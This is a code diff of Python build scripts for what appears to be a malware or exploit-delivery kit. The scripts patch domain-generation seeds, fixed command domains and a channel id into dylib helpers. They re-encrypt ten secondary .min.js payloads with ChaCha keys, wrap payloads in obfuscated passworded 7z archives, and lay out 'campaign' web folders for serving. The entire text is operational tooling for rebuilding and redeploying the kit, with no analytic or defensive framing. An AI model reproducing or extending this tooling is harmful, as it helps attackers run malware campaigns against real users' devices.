# Reuse seeds so fixed-domain shellcode matches existing sync/.
|
||||
dep = args.deployment_seed or (prev_seeds or {}).get("deployment_seed")
|
||||
rep = args.reporting_seed or (prev_seeds or {}).get("reporting_seed")
|
||||
if not dep or not rep:
|
||||
raise SystemExit(
|
||||
"domains unchanged but out/seeds.json missing seeds; "
|
||||
"pass --deployment-seed/--reporting-seed or --force-sync"
|
||||
)
|
||||
print("=== domains unchanged: patch secondary only ===")
|
||||
print(f"reuse seeds dep={dep} rep={rep}")
|
||||
run(
|
||||
[
|
||||
py,
|
||||
str(TOOLS / "patch_secondary_packs.py"),
|
||||
"--deployment-seed",
|
||||
dep,
|
||||
"--reporting-seed",
|
||||
rep,
|
||||
"--channel-id",
|
||||
channel,
|
||||
*domain_args,
|
||||
"--root",
|
||||
str(APPLY_ROOT),
|
||||
"--apply",
|
||||
]
|
||||
)
|
||||
(out_root / "channel.json").write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"channel_id": channel,
|
||||
"patched": True,
|
||||
"sync_rebuilt": False,
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"deployment_domains": fixed_dep,
|
||||
"reporting_domains": fixed_rep,
|
||||
},
|
||||
indent=2,
|
||||
)
|
||||
+ "\n"
|
||||
)
|
||||
else:
|
||||
print("=== domains new/changed: reset sync + full patch ===")
|
||||
replace_tree(src_sync, sync_dir)
|
||||
print(f"copied sync/ -> {sync_dir}")
|
||||
cmd = [
|
||||
py,
|
||||
str(TOOLS / "patch_all.py"),
|
||||
"--apply",
|
||||
"--root",
|
||||
str(APPLY_ROOT),
|
||||
"--channel-id",
|
||||
channel,
|
||||
"-n",
|
||||
str(args.count),
|
||||
*domain_args,
|
||||
]
|
||||
if args.deployment_seed:
|
||||
cmd += ["--deployment-seed", args.deployment_seed]
|
||||
if args.reporting_seed:
|
||||
cmd += ["--reporting-seed", args.reporting_seed]
|
||||
print()
|
||||
print("=== patch_all --apply ===")
|
||||
run(cmd)
|
||||
seeds = load_json(out_root / "seeds.json") or {}
|
||||
(out_root / "channel.json").write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"channel_id": channel,
|
||||
"patched": True,
|
||||
"sync_rebuilt": True,
|
||||
"deployment_seed": seeds.get("deployment_seed"),
|
||||
"reporting_seed": seeds.get("reporting_seed"),
|
||||
"deployment_domains": fixed_dep,
|
||||
"reporting_domains": fixed_rep,
|
||||
},
|
||||
indent=2,
|
||||
)
|
||||
+ "\n"
|
||||
)
|
||||
|
||||
print()
|
||||
print("=== ready ===")
|
||||
print(f"web: {campaign_dir}")
|
||||
print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})")
|
||||
print(f"channel: {out_root / 'channel.json'}")
|
||||
print(f"seeds: {out_root / 'seeds.json'}")
|
||||
print(f"domains: {out_root / 'domains.json'}")
|
||||
print()
|
||||
print("served by Laravel public:")
|
||||
print(f" /web/{channel}/support.html")
|
||||
print(" /sync/daily.html")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
+42
-20
@@ -11,10 +11,12 @@ import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
from _channel_patch import gen_channel_id, validate_channel_id
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
LAB_ROOT = TOOLS.parent
|
||||
SOURCE_ROOT = LAB_ROOT / "source"
|
||||
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
|
||||
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
||||
|
||||
|
||||
def gen_seed() -> str:
|
||||
@@ -32,25 +34,28 @@ def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||
return {n for n in names if n in skip or n.endswith(".pyc")}
|
||||
|
||||
|
||||
def ensure_working_tree(root: Path) -> None:
|
||||
"""If web/sync missing under root, copy from source/ (same as new_project --skip-patch)."""
|
||||
camp = root / "web" / CAMPAIGN_HASH
|
||||
def ensure_working_tree(root: Path, channel: str) -> None:
|
||||
"""Ensure sync/ and web/<channel>/ exist (copy from source template if needed)."""
|
||||
camp = root / "web" / channel
|
||||
sync = root / "sync"
|
||||
if camp.is_dir() and sync.is_dir():
|
||||
return
|
||||
src_web = SOURCE_ROOT / "web"
|
||||
src_camp = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not (src_web / CAMPAIGN_HASH).is_dir() or not src_sync.is_dir():
|
||||
if not src_camp.is_dir() or not src_sync.is_dir():
|
||||
raise SystemExit(
|
||||
f"missing working tree and source template.\n"
|
||||
f"expected: {src_web / CAMPAIGN_HASH} and {src_sync}"
|
||||
f"missing source template.\n"
|
||||
f"expected: {src_camp} and {src_sync}"
|
||||
)
|
||||
print("=== bootstrap working tree from source/ ===")
|
||||
for src, dst in ((src_web, root / "web"), (src_sync, root / "sync")):
|
||||
if dst.exists():
|
||||
shutil.rmtree(dst)
|
||||
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
||||
print(f"copied {src.relative_to(LAB_ROOT)} -> {dst}")
|
||||
if not camp.is_dir() or not sync.is_dir():
|
||||
print("=== bootstrap working tree from source/ ===")
|
||||
if not sync.is_dir():
|
||||
shutil.copytree(src_sync, sync, symlinks=False, ignore=_ignore_junk)
|
||||
print(f"copied sync/ -> {sync}")
|
||||
if not camp.is_dir():
|
||||
camp.parent.mkdir(parents=True, exist_ok=True)
|
||||
shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk)
|
||||
print(f"copied campaign -> {camp}")
|
||||
if not camp.is_dir() or not sync.is_dir():
|
||||
raise SystemExit(f"failed to bootstrap {camp} / {sync}")
|
||||
print()
|
||||
|
||||
|
||||
@@ -63,6 +68,10 @@ def main() -> int:
|
||||
)
|
||||
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
|
||||
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
|
||||
parser.add_argument(
|
||||
"--channel-id",
|
||||
help="32-hex channel id for web/<id>/ + type-0x01 embed (default: random)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
@@ -83,7 +92,7 @@ def main() -> int:
|
||||
parser.add_argument(
|
||||
"--apply",
|
||||
action="store_true",
|
||||
help="write into --root web/ + sync/",
|
||||
help="write into --root web/<channel-id>/ + sync/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-n",
|
||||
@@ -99,8 +108,10 @@ def main() -> int:
|
||||
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
|
||||
channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
|
||||
|
||||
if args.apply and args.root:
|
||||
ensure_working_tree(args.root.resolve())
|
||||
ensure_working_tree(args.root.resolve(), channel)
|
||||
|
||||
fixed_mode = bool(args.deployment_domains)
|
||||
dep = args.deployment_seed or gen_seed()
|
||||
@@ -117,6 +128,7 @@ def main() -> int:
|
||||
{
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"channel_id": channel,
|
||||
"mode": "fixed_domains" if fixed_mode else "dga",
|
||||
},
|
||||
indent=2,
|
||||
@@ -124,8 +136,9 @@ def main() -> int:
|
||||
+ "\n"
|
||||
)
|
||||
|
||||
print("=== seeds ===")
|
||||
print("=== seeds / channel ===")
|
||||
print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}")
|
||||
print(f"channel: {channel}")
|
||||
print(f"deployment: {dep}")
|
||||
print(f"reporting: {rep}")
|
||||
print(f"saved: {seeds_path}")
|
||||
@@ -136,6 +149,7 @@ def main() -> int:
|
||||
py = sys.executable
|
||||
apply = ["--apply"] if args.apply else []
|
||||
root = ["--root", str(args.root.resolve())] if args.root else []
|
||||
channel_args = ["--channel-id", channel]
|
||||
domain_args: list[str] = []
|
||||
if fixed_mode:
|
||||
for item in args.deployment_domains:
|
||||
@@ -152,6 +166,7 @@ def main() -> int:
|
||||
dep,
|
||||
"--reporting-seed",
|
||||
rep,
|
||||
*channel_args,
|
||||
*domain_args,
|
||||
*root,
|
||||
*apply,
|
||||
@@ -177,7 +192,6 @@ def main() -> int:
|
||||
|
||||
domains_path = out_root / "domains.json"
|
||||
if fixed_mode:
|
||||
# Prefer MANIFEST from patch_core output
|
||||
manifest_path = out_root / "sync" / "MANIFEST.json"
|
||||
if not manifest_path.is_file():
|
||||
manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json"
|
||||
@@ -212,8 +226,14 @@ def main() -> int:
|
||||
domains["mode"] = "dga"
|
||||
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
|
||||
|
||||
(out_root / "channel.json").write_text(
|
||||
json.dumps({"channel_id": channel, "patched": True, "sync_rebuilt": True}, indent=2)
|
||||
+ "\n"
|
||||
)
|
||||
|
||||
print()
|
||||
print("=== final domains ===")
|
||||
print(f"channel={channel}")
|
||||
print(f"deployment seed={dep}")
|
||||
for i, domain in enumerate(domains["deployment"]["domains"], 1):
|
||||
print(f" {i:03d} {domain}")
|
||||
@@ -223,6 +243,8 @@ def main() -> int:
|
||||
print()
|
||||
print(f"seeds: {seeds_path}")
|
||||
print(f"domains: {domains_path}")
|
||||
if args.apply and args.root:
|
||||
print(f"web: {args.root.resolve() / 'web' / channel}")
|
||||
if not args.apply:
|
||||
print("Note: outputs are under out/ only. Use new_project.py or --apply --root <project>.")
|
||||
return 0
|
||||
|
||||
+20
-2
@@ -60,6 +60,19 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
|
||||
|
||||
|
||||
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
|
||||
"""Build passworded 7z; cache by content so py7zr's random salt does not drift runs."""
|
||||
cache_key = sha256_hex(
|
||||
member_name.encode("utf-8")
|
||||
+ b"\0"
|
||||
+ password.encode("utf-8")
|
||||
+ b"\0"
|
||||
+ payload
|
||||
)
|
||||
cache_dir = LAB_ROOT / "out" / "7z_cache"
|
||||
cache_path = cache_dir / cache_key
|
||||
if cache_path.is_file():
|
||||
return cache_path.read_bytes()
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp)
|
||||
member = root / member_name
|
||||
@@ -67,7 +80,11 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes
|
||||
archive = root / "out.7z"
|
||||
with py7zr.SevenZipFile(archive, mode="w", password=password) as handle:
|
||||
handle.write(member, arcname=member_name)
|
||||
return archive.read_bytes()
|
||||
data = archive.read_bytes()
|
||||
|
||||
cache_dir.mkdir(parents=True, exist_ok=True)
|
||||
cache_path.write_bytes(data)
|
||||
return data
|
||||
|
||||
|
||||
def extract_daily_config_bytes() -> bytes:
|
||||
@@ -139,7 +156,8 @@ def main() -> int:
|
||||
|
||||
if args.root:
|
||||
set_tree_root(args.root)
|
||||
ensure_tree_layout(tree_root())
|
||||
# sync-only: campaign dirs are web/<channel-id>/ and may not match ORIGINAL
|
||||
ensure_tree_layout(tree_root(), require_campaign=False)
|
||||
if args.apply:
|
||||
if not args.root:
|
||||
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Patch DGA seeds in the two unique type-0x01 dylibs and rebuild all 10 secondary .min.js."""
|
||||
"""Patch DGA seeds / fixed domains / channel id in type-0x01 and rebuild .min.js."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
@@ -8,9 +8,11 @@ import json
|
||||
import shutil
|
||||
from pathlib import Path
|
||||
|
||||
from _channel_patch import patch_channel_in_dylib, validate_channel_id
|
||||
from _common import (
|
||||
GROUP_DYLIBS,
|
||||
LAB_ROOT,
|
||||
ORIGINAL_CHANNEL_ID,
|
||||
SECONDARY_KEYS,
|
||||
SOURCE_ROOT,
|
||||
ensure_tree_layout,
|
||||
@@ -28,8 +30,8 @@ import _common
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description=(
|
||||
"Replace Deployment/Reporting seeds in type-0x01 helpers and "
|
||||
"re-encrypt all 10 secondary .min.js (same filenames, per-stem ChaCha keys)."
|
||||
"Replace Deployment/Reporting seeds (and optional fixed domains / channel id) "
|
||||
"in type-0x01 helpers, then re-encrypt all 10 secondary .min.js."
|
||||
)
|
||||
)
|
||||
parser.add_argument(
|
||||
@@ -42,6 +44,13 @@ def main() -> int:
|
||||
required=True,
|
||||
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--channel-id",
|
||||
help=(
|
||||
f"new 32-hex channel id written into type-0x01 and used as web/<id>/ "
|
||||
f"(default: keep {ORIGINAL_CHANNEL_ID})"
|
||||
),
|
||||
)
|
||||
parser.add_argument(
|
||||
"--root",
|
||||
type=Path,
|
||||
@@ -55,7 +64,7 @@ def main() -> int:
|
||||
parser.add_argument(
|
||||
"--apply",
|
||||
action="store_true",
|
||||
help="also copy outputs into <root>/web/.../",
|
||||
help="also copy outputs into <root>/web/<channel-id>/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
@@ -72,6 +81,11 @@ def main() -> int:
|
||||
args = parser.parse_args()
|
||||
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
|
||||
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
|
||||
channel = (
|
||||
validate_channel_id(args.channel_id)
|
||||
if args.channel_id
|
||||
else ORIGINAL_CHANNEL_ID
|
||||
)
|
||||
fixed_dep = (
|
||||
parse_domain_list(args.deployment_domains, label="deployment")
|
||||
if args.deployment_domains
|
||||
@@ -86,16 +100,19 @@ def main() -> int:
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
|
||||
if args.root:
|
||||
set_tree_root(args.root)
|
||||
ensure_tree_layout(tree_root())
|
||||
set_tree_root(args.root, channel=channel)
|
||||
ensure_tree_layout(tree_root(), channel=channel)
|
||||
else:
|
||||
_common.set_campaign_id(channel)
|
||||
|
||||
if args.apply:
|
||||
if not args.root:
|
||||
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
|
||||
if tree_root().resolve() == SOURCE_ROOT.resolve():
|
||||
raise SystemExit("refusing --apply into source/; create a project first")
|
||||
|
||||
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
|
||||
|
||||
# re-bind after set_tree_root
|
||||
campaign_dir = _common.CAMPAIGN_DIR
|
||||
meta = json.loads(SECONDARY_KEYS.read_text())
|
||||
stems = meta["stems"]
|
||||
@@ -121,6 +138,14 @@ def main() -> int:
|
||||
reporting_seed=rep,
|
||||
label=path.name,
|
||||
)
|
||||
if channel != ORIGINAL_CHANNEL_ID:
|
||||
data = patch_channel_in_dylib(
|
||||
data,
|
||||
channel,
|
||||
old_channel=ORIGINAL_CHANNEL_ID,
|
||||
expect_hits=1,
|
||||
label=path.name,
|
||||
)
|
||||
patched[group] = data
|
||||
print(
|
||||
f"group {group}: patched {path.name} "
|
||||
@@ -137,7 +162,6 @@ def main() -> int:
|
||||
group = info["group"]
|
||||
key = bytes.fromhex(info["key"])
|
||||
wire = encrypt_secondary_minjs(patched[group], key)
|
||||
# sanity: decrypt back
|
||||
check = decrypt_secondary_minjs(wire, key)
|
||||
if check != patched[group]:
|
||||
raise SystemExit(f"round-trip failed for {stem}")
|
||||
@@ -156,6 +180,7 @@ def main() -> int:
|
||||
manifest = {
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"channel_id": channel,
|
||||
"mode": "fixed_domains" if fixed_dep is not None else "dga",
|
||||
"deployment_domains": fixed_dep,
|
||||
"reporting_domains": fixed_rep,
|
||||
@@ -165,6 +190,7 @@ def main() -> int:
|
||||
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
|
||||
|
||||
if args.apply:
|
||||
campaign_dir.mkdir(parents=True, exist_ok=True)
|
||||
for item in built:
|
||||
src = out / f"{item['stem']}.min.js"
|
||||
dst = campaign_dir / src.name
|
||||
@@ -172,8 +198,9 @@ def main() -> int:
|
||||
print(f"applied -> {dst}")
|
||||
|
||||
print(f"\nDone. Output: {out}")
|
||||
print(f"channel: {channel}")
|
||||
if not args.apply:
|
||||
print(f"Re-run with --apply --root <project> to overwrite files under web/")
|
||||
print(f"Re-run with --apply --root <project> to overwrite files under web/{channel}/")
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user